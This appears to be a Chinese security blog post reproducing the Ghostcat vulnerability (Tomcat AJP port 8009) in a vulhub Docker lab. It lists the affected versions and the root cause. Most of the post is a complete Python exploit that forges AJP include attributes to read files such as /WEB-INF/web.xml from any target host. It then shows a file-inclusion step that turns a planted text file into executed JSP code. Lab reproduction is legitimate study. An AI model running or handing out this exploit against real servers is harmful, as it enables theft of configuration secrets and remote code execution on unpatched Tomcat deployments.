影响范围

  • Apache Tomcat 6.x (全版本受影响)
  • Apache Tomcat 7.0.0 - 7.0.99
  • Apache Tomcat 8.5.0 - 8.5.50
  • Apache Tomcat 9.0.0.M1 - 9.0.30

漏洞类型

二进制解析漏洞

操作系统限制

配置要求

8009 端口打开

漏洞利用

  • 任意文件读取,例如读取 WEB - INF / web.xml 文件,只能读取使用 AJP 目录下的文件
  • 文件包含,RCE 远程代码执行,可以是反弹 shell

利用原理

AJP 协议默认监听端口通常缺乏认证,利用协议缺陷,伪造 javax.servlet.include 属性

漏洞复现

1
2
#拉取镜像
docker run -d -p 8082:8080 -p 8009:8009 --name ghostcat-vulhub vulhub/tomcat:9.0.30

使用云服务器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#写入攻击脚本
cat << 'EOF' > ghostcat.py
import socket
import struct

def pack_string(s):
if s is None: return struct.pack('>H', 0xffff)
b = s.encode('utf-8')
return struct.pack('>H', len(b)) + b + b'\x00'

def exploit(target_host, target_port, file_path):
# AJP13 Forward Request Header
# 0x02 = Forward Request, 0x02 = GET Method
data = b'\x02\x02'
data += pack_string("HTTP/1.1")
data += pack_string("/index.jsp")
data += pack_string("127.0.0.1")
data += pack_string(None)
data += pack_string("127.0.0.1")
data += struct.pack('>H', 80)
data += b'\x00' # is_ssl: false
data += struct.pack('>H', 0) # num_headers: 0

# 注入核心:Ghostcat 必备的三个属性
attrs = [
("javax.servlet.include.request_uri", "/"),
("javax.servlet.include.path_info", file_path),
("javax.servlet.include.servlet_path", "/")
]

for name, value in attrs:
data += b'\x0a' # SC_A_REQ_ATTRIBUTE
data += pack_string(name)
data += pack_string(value)

data += b'\xff' # terminator

# 封装 AJP 头部
header = b'\x12\x34'
msg_len = struct.pack('>H', len(data))
packet = header + msg_len + data

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_host, target_port))
s.sendall(packet)

print(f"[*] Attacking {target_host}:{target_port} -> {file_path}")

while True:
res = s.recv(8192)
if not res: break
# 过滤掉 AJP 协议的二进制头,直接输出内容
print(res.decode('utf-8', errors='ignore'))
s.close()
except Exception as e:
print(f"[!] Error: {e}")

if __name__ == "__main__":
import sys
host = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
path = sys.argv[2] if len(sys.argv) > 2 else '/WEB-INF/web.xml'
exploit(host, 8009, path)
EOF
#运行脚本获取xml文件
python3 ghostcat.py 公网 /WEB-INF/web.xml

成功复现读取/WEB - INF/web.xml 文件

1773154158887

后续进行文件包含,因为靶场环境是纯净的 tomcat,实际环境需要寻找上传点上传木马文件,这里直接写入到靶场中

1
2
3
4
#写入敏感文件
docker exec ghostcat-vulhub bash -c 'echo "<% out.println(\"SUCCESS_RCE\"); %>" > /usr/local/tomcat/webapps/ROOT/proof.txt'
#文件包含,并不是简单的txt,里面含有java代码,将静态文本强制解析为Java代码
python3 ghostcat.py 公网 /proof.txt

出现 SUCCESS_RCE 表明成功实现文件包含,执行了代码

1773154229210